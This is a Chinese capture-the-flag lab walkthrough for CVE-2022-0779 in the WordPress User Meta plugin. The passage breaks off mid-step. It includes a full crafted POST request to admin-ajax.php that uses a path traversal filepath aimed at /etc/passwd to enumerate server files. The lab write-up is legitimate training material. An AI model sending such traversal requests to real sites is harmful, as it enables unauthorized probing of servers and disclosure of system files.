春秋云境CVE-2022-0779（保姆级教学）

最新推荐文章于 2026-09-15 15:24:21 发布

原创最新推荐文章于 2026-09-15 15:24:21 发布 · 1k 阅读

3 ·

本内容遵循CC 4.0 BY-SA版权协议

GEO检测

1.阅读靶场介绍

这里我们可以得到的有用信息就是

User Meta这个插件

存在本地文件枚举

flag生成规则请访问1.txt

账户信息：test

其实整体思路就是

先去看看文件是否存在然后

再跑脚本枚举他出来

最后就是访问敏感文件

2.启动靶场

我们会得到下面的页面

这里我们点击f12然后搜索关键字pf

然后把这个pf_nonce='6b342a0e35'记录下来

接下来就是bp启动，原地刷新抓包

这里重要的信息博主一一标出来了

这里需要替换的只有host部分还有pf_nonce两个地方

其中相应包的‘umRemoveFile’ 就代表此文件存在

POST /wp-admin/admin-ajax.php HTTP/2
Host: eci-2ze40c5r2rekun95ni0n.cloudeci1.ichunqiu.com
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 158
Cookie: [subscriber+]

field_name=test&filepath=/../../../../../../../../etc/passwd&field_id=um_field_4&form_key=Upload&action=um_show_uploaded_file&pf_nonce=6b342a0e35&is_ajax=true

3.寻找flag

接下来我们要去访问1.txt去查看flag的生成规则

这里我们win+r，cmd